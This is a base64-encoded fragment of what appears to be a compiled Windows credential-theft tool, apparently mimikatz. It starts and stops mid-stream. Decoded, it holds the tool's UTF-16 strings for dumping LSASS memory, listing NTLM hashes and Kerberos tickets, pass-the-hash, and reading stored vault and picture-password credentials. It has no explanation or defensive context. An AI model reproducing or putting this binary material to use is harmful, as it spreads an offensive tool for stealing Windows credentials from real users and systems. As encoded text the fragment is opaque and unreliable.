EAdQBsAHQAYwBsAGkAAAAAAAAAAABWYXVsdEVudW1lcmF0ZUl0ZW1UeXBlcwBWYXVsdEVudW1lcmF0ZVZhdWx0cwAAAABWYXVsdE9wZW5WYXVsdAAAVmF1bHRHZXRJbmZvcm1hdGlvbgAAAAAAVmF1bHRFbnVtZXJhdGVJdGVtcwAAAAAAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAAAAAABWYXVsdEdldEl0ZW0AAAAACgBWAGEAdQBsAHQAIAA6ACAAAAAAAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAAAAAAJACAAJQAyAHUALgAJACUAcwAKAAAAAAAJAAkAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkATABhAHMAdABXAHIAaQB0AHQAZQBuACAAIAAgACAAIAA6ACAAAAAAAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAkACQBSAGUAcwBzAG8AdQByAGMAZQAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBJAGQAZQBuAHQAaQB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAAAAAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAlADIAdQAgACAAIAAgACAAOgAgAAAAAAAAAAkACQAqAEEAdQB0AGgAZQBuAHQAaQBjAGEAdABvAHIAKgAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA3ACAAOgAgACUAMAA4AHgAAAAAAAkACQBQAGEAYwBrAGEAZwBlAFMAaQBkACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARwBlAHQASQB0AGUAbQA4ACAAOgAgACUAMAA4AHgAAAAAAAoACQAJACoAKgAqACAAJQBzACAAKgAqACoACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0ACAAOwAgAFYAYQB1AGwAdABFAG4AdQBtAGUAcgBhAHQAZQBWAGEAdQBsAHQAcwAgADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAACQAJAFUAcwBlAHIAIAAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAAJQBzAFwAJQBzAAAAAAAAAAAAAAAAAAAAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuAFwATABvAGcAbwBuAFUASQBcAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAAAAAAAAAAAAYgBnAFAAYQB0AGgAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIAAyACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAMQAgADoAIAAlADAAOAB4AAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAXwBkAGUAcwBjAEkAdABlAG0AXwBQAEkATgBMAG8AZwBvAG4ATwByAFAAaQBjAHQAdQByAGUAUABhAHMAcwB3AG8AcgBkAE8AcgBCAGkAbwBtAGUAdAByAGkAYwAgADsAIABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAFMASQBEACAAOgAgACUAMAA4AHgACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwB2AGEAdQBsAHQAXwBsAGkAcwB0AF8AZABlAHMAYwBJAHQAZQBtAF8AUABJAE4ATABvAGcAbwBuAE8AcgBQAGkAYwB0AHUAcgBlAFAAYQBzAHMAdwBvAHIAZABPAHIAQgBpAG8AbQBlAHQAcgBpAGMAIAA7ACAAQwBvAG4AdgBlAHIAdABTAGkAZABUAG8AUwB0AHIAaQBuAGcAUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdABfAGQAZQBzAGMASQB0AGUAbQBfAFAASQBOAEwAbwBnAG8AbgBPAHIAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQATwByAEIAaQBvAG0AZQB0AHIAaQBjACAAOwAgAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUABpAGMAdAB1AHIAZQBQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAAAAAAAACQAJAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgACAAIAAgACAAOgAgAAAAAAAAAAAACQAJAFAASQBOACAAQwBvAGQAZQAgACAAIAAgACAAIAAgACAAOgAgACUAMAA0AGgAdQAKAAAAAAAJAAkAQgBhAGMAawBnAHIAbwB1AG4AZAAgAHAAYQB0AGgAIAA6ACAAJQBzAAoAAAAAAAAAAAAAAAkACQBQAGkAYwB0AHUAcgBlACAAcABhAHMAcwB3AG8AcgBkACAAKABnAHIAaQBkACAAaQBzACAAMQA1ADAAKgAxADAAMAApAAoAAAAAAAAACQAJACAAWwAlAHUAXQAgAAAAAAAAAAAAcABvAGkAbgB0ACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApAAAAAABjAGwAbwBjAGsAdwBpAHMAZQAAAAAAAABhAG4AdABpAGMAbABvAGMAawB3AGkAcwBlAAAAAAAAAAAAAAAAAAAAYwBpAHIAYwBsAGUAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQAgADsAIAByACAAPQAgACUAMwB1ACkAIAAtACAAJQBzAAAAAAAAAAAAAAAAAAAAbABpAG4AZQAgACAAIAAoAHgAIAA9ACAAJQAzAHUAIAA7ACAAeQAgAD0AIAAlADMAdQApACAALQA+ACAAKAB4ACAAPQAgACUAMwB1ACAAOwAgAHkAIAA9ACAAJQAzAHUAKQAAAAAAAAAlAHUACgAAAAkACQBQAHIAbwBwAGUAcgB0AHkAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAACUALgAqAHMAXAAAAAAAAAAlAC4AKgBzAAAAAAAAAAAAdABvAGQAbwAgAD8ACgAAAAkATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAAAAAB0AGUAbQBwACAAdgBhAHUAbAB0AAAAAAAJAFAAYQB0AGgAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAAAAJQBoAHUAAAAlAHUAAAAAAFsAVAB5AHAAZQAgACUAdQBdACAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AYwByAGUAZAAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAVgBlAHIAeQBCAGEAcwBpAGMATQBvAGQAdQBsAGUASQBuAGYAbwByAG0AYQB0AGkAbwBuAHMARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGMAcgBlAGQAIAA7ACAAawB1AGwAbABfAG0AXwBzAGUAcgB2AGkAYwBlAF8AZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPwAgACgAdAB5AHAAZQAgAD4AIABDAFIARQBEAF8AVABZAFAARQBfAE0AQQBYAEkATQBVAE0AKQAAAAAAAAAAADwATgBVAEwATAA+AAAAAAAAAAAAAAAAAFQAYQByAGcAZQB0AE4AYQBtAGUAIAA6ACAAJQBzACAALwAgACUAcwAKAFUAcwBlAHIATgBhAG0AZQAgACAAIAA6ACAAJQBzAAoAQwBvAG0AbQBlAG4AdAAgACAAIAAgADoAIAAlAHMACgBUAHkAcABlACAAIAAgACAAIAAgACAAOgAgACUAdQAgAC0AIAAlAHMACgBDAHIAZQBkAGUAbgB0AGkAYQBsACAAOgAgAAAACgAKAAAAAABpAG4AZgBvAHMAAAAAAAAATQBpAG4AZQBTAHcAZQBlAHAAZQByACAAbQBvAGQAdQBsAGUAAAAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAAAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgAuAGUAeABlAAAAAAAAAAAAAABGAGkAZQBsAGQAIAA6ACAAJQB1ACAAcgAgAHgAIAAlAHUAIABjAAoATQBpAG4AZQBzACAAOgAgACUAdQAKAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE0AZQBtAG8AcgB5ACAAQwAgACgAUgAgAD0AIAAlAHUAKQAKAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGUAbQBvAHIAeQAgAFIACgAAAAAACQAAAAAAAAAlAEMAIAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAQgBvAGEAcgBkACAAYwBvAHAAeQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBhAG0AZQAgAGMAbwBwAHkACgAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwAgAGMAbwBwAHkACgAAAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAARwBsAG8AYgBhAGwAIABjAG8AcAB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAAUwBlAGEAcgBjAGgAIABpAHMAIABLAE8ACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATQBpAG4AZQBzAHcAZQBlAHAAZQByACAATgBUACAASABlAGEAZABlAHIAcwAKAAAAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBuAGUAcwB3AGUAZQBwAGUAcgBfAGkAbgBmAG8AcwAgADsAIABNAGkAbgBlAHMAdwBlAGUAcABlAHIAIABQAEUAQgAKAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAbgBlAHMAdwBlAGUAcABlAHIAXwBpAG4AZgBvAHMAIAA7ACAATwBwAGUAbgBQAHIAbwBjAGUAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAG4AZQBzAHcAZQBlAHAAZQByAF8AaQBuAGYAbwBzACAAOwAgAE4AbwAgAE0AaQBuAGUAUwB3AGUAZQBwAGUAcgAgAGkAbgAgAG0AZQBtAG8AcgB5ACEACgAAAAAAAAAAAAAARQBSAFIATwBSAC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cAaQB0AGMAaAAgACgAbwByACAAcgBlAGkAbgBpAHQAKQAgAHQAbwAgAEwAUwBBAFMAUwAgAG0AaQBuAGkAZAB1AG0AcAAgAGMAbwBuAHQAZQB4AHQAAAAAAAAAAABtAGkAbgBpAGQAdQBtAHAAAAAAAAAAAAAAAAAAAAAAAFMAdwBpAHQAYwBoACAAKABvAHIAIAByAGUAaQBuAGkAdAApACAAdABvACAATABTAEEAUwBTACAAcAByAG8AYwBlAHMAcwAgACAAYwBvAG4AdABlAHgAdAAAAAAAAAAAAEwAaQBzAHQAcwAgAGEAbABsACAAYQB2AGEAaQBsAGEAYgBsAGUAIABwAHIAbwB2AGkAZABlAHIAcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAG8AZwBvAG4AUABhAHMAcwB3AG8AcgBkAHMAAAAAAEwAaQBzAHQAcwAgAFMAUwBQACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAAAAAAHMAcwBwAAAATABpAHMAdABzACAATABpAHYAZQBTAFMAUAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAABsAGkAdgBlAHMAcwBwAAAATABpAHMAdABzACAAVABzAFAAawBnACAAYwByAGUAZABlAG4AdABpAGEAbABzAAAAdABzAHAAawBnAAAAAAAAAEwAaQBzAHQAcwAgAEsAZQByAGIAZQByAG8AcwAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAATABpAHMAdABzACAAVwBEAGkAZwBlAHMAdAAgAGMAcgBlAGQAZQBuAHQAaQBhAGwAcwAAAAAAAAB3AGQAaQBnAGUAcwB0AAAATABpAHMAdABzACAATABNACAAJgAgAE4AVABMAE0AIABjAHIAZQBkAGUAbgB0AGkAYQBsAHMAAABtAHMAdgAAAAAAAAAAAAAAUwBvAG0AZQAgAGMAbwBtAG0AYQBuAGQAcwAgAHQAbwAgAGUAbgB1AG0AZQByAGEAdABlACAAYwByAGUAZABlAG4AdABpAGEAbABzAC4ALgAuAAAAAAAAAFMAZQBrAHUAcgBMAFMAQQAgAG0AbwBkAHUAbABlAAAAcwBlAGsAdQByAGwAcwBhAAAAAAAAAAAAUwB3AGkAdABjAGgAIAB0AG8AIABQAFIATwBDAEUAUwBTAAoAAAAAAFMAdwBpAHQAYwBoACAAdABvACAATQBJAE4ASQBEAFUATQBQACAAOgAgAAAAAAAAAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBtAGkAbgBpAGQAdQBtAHAAIAA7ACAAPABtAGkAbgBpAGQAdQBtAHAAZgBpAGwAZQAuAGQAbQBwAD4AIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABtAGkAcwBzAGkAbgBnAAoAAAAAAAAAAAAAAAAAAAAAAE8AcABlAG4AaQBuAGcAIAA6ACAAJwAlAHMAJwAgAGYAaQBsAGUAIABmAG8AcgAgAG0AaQBuAGkAZAB1AG0AcAAuAC4ALgAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBhAGMAcQB1AGkAcgBlAEwAUwBBACAAOwAgAEwAUwBBAFMAUwAgAHAAcgBvAGMAZQBzAHMAIABuAG8AdAAgAGYAbwB1AG4AZAAgACgAPwApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBpAG4AaQBkAHUAbQBwACAAcABJAG4AZgBvAHMALQA+AE0AYQBqAG8AcgBWAGUAcgBzAGkAbwBuACAAKAAlAHUAKQAgACEAPQAgAE0ASQBNAEkASwBBAFQAWgBfAE4AVABfAE0AQQBKAE8AUgBfAFYARQBSAFMASQBPAE4AIAAoACUAdQApAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIABwAEkAbgBmAG8AcwAtAD4AUAByAG8AYwBlAHMAcwBvAHIAQQByAGMAaABpAHQAZQBjAHQAdQByAGUAIAAoACUAdQApACAAIQA9ACAAUABSAE8AQwBFAFMAUwBPAFIAXwBBAFIAQwBIAEkAVABFAEMAVABVAFIARQBfAEEATQBEADYANAAgACgAJQB1ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGkAbgBpAGQAdQBtAHAAIAB3AGkAdABoAG8AdQB0ACAAUwB5AHMAdABlAG0ASQBuAGYAbwBTAHQAcgBlAGEAbQAgACgAPwApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASwBlAHkAIABpAG0AcABvAHIAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATABvAGcAbwBuACAAbABpAHMAdAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAATQBvAGQAdQBsAGUAcwAgAGkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAAoAAAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABNAGUAbQBvAHIAeQAgAG8AcABlAG4AaQBuAGcACgAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAGEAYwBxAHUAaQByAGUATABTAEEAIAA7ACAASABhAG4AZABsAGUAIABvAG4AIABtAGUAbQBvAHIAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AYQBjAHEAdQBpAHIAZQBMAFMAQQAgADsAIABMAG8AYwBhAGwAIABMAFMAQQAgAGwAaQBiAHIAYQByAHkAIABmAGEAaQBsAGUAZAAKAAAAAAAAAAAACQAlAHMAIAA6AAkAAAAAAAoAQQB1AHQAaABlAG4AdABpAGMAYQB0AGkAbwBuACAASQBkACAAOgAgACUAdQAgADsAIAAlAHUAIAAoACUAMAA4AHgAOgAlADAAOAB4ACkACgBTAGUAcwBzAGkAbwBuACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQBzACAAZgByAG8AbQAgACUAdQAKAFUAcwBlAHIAIABOAGEAbQBlACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAEQAbwBtAGEAaQBuACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAFMASQBEACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAAAAAAHIAdQBuAAAAAAAAAAAAAAB1AHMAZQByAAkAOgAgACUAcwAKAGQAbwBtAGEAaQBuAAkAOgAgACUAcwAKAHAAcgBvAGcAcgBhAG0ACQA6ACAAJQBzAAoAAABBAEUAUwAxADIAOAAJADoAIAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABsAGUAbgBnAHQAaAAgAG0AdQBzAHQAIABiAGUAIAAzADIAIAAoADEANgAgAGIAeQB0AGUAcwApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAEEARQBTADEAMgA4ACAAawBlAHkAIABvAG4AbAB5ACAAcwB1AHAAcABvAHIAdABlAGQAIABmAHIAbwBtACAAVwBpAG4AZABvAHcAcwAgADgALgAxACAAKABvAHIAIAA3AC8AOAAgAHcAaQB0AGgAIABrAGIAMgA4ADcAMQA5ADkANwApAAoAAABBAEUAUwAyADUANgAJADoAIAAAAAAAAAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADYANAAgACgAMwAyACAAYgB5AHQAZQBzACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AcwBlAGsAdQByAGwAcwBhAF8AcAB0AGgAIAA7ACAAQQBFAFMAMgA1ADYAIABrAGUAeQAgAG8AbgBsAHkAIABzAHUAcABwAG8AcgB0AGUAZAAgAGYAcgBvAG0AIABXAGkAbgBkAG8AdwBzACAAOAAuADEAIAAoAG8AcgAgADcALwA4ACAAdwBpAHQAaAAgAGsAYgAyADgANwAxADkAOQA3ACkACgAAAG4AdABsAG0AAAAAAAAAAABOAFQATABNAAkAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkACgAAACAAIAB8ACAAIABQAEkARAAgACAAJQB1AAoAIAAgAHwAIAAgAFQASQBEACAAIAAlAHUACgAAAAAAIAAgAHwAIAAgAEwAVQBJAEQAIAAlAHUAIAA7ACAAJQB1ACAAKAAlADAAOAB4ADoAJQAwADgAeAApAAoAAAAAACAAIABcAF8AIABtAHMAdgAxAF8AMAAgACAAIAAtACAAAAAAAAAAAAAgACAAXABfACAAawBlAHIAYgBlAHIAbwBzACAALQAgAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABHAGUAdABUAG8AawBlAG4ASQBuAGYAbwByAG0AYQB0AGkAbwBuACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwBUAG8AawBlAG4AIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBzAGUAawB1AHIAbABzAGEAXwBwAHQAaAAgADsAIABDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzAFcAaQB0AGgATABvAGcAbwBuAFcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHMAZQBrAHUAcgBsAHMAYQBfAHAAdABoACAAOwAgAE0AaQBzAHMAaQBuAGcAIABhAHQAIABsAGUAYQBzAHQAIABvAG4AZQAgAGEAcgBnAHUAbQBlAG4AdAAgADoAIABuAHQAbABtACAATwBSACAAYQBlAHMAMQAyADgAIABPAFIAIABhAGUAcwAyADUANgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8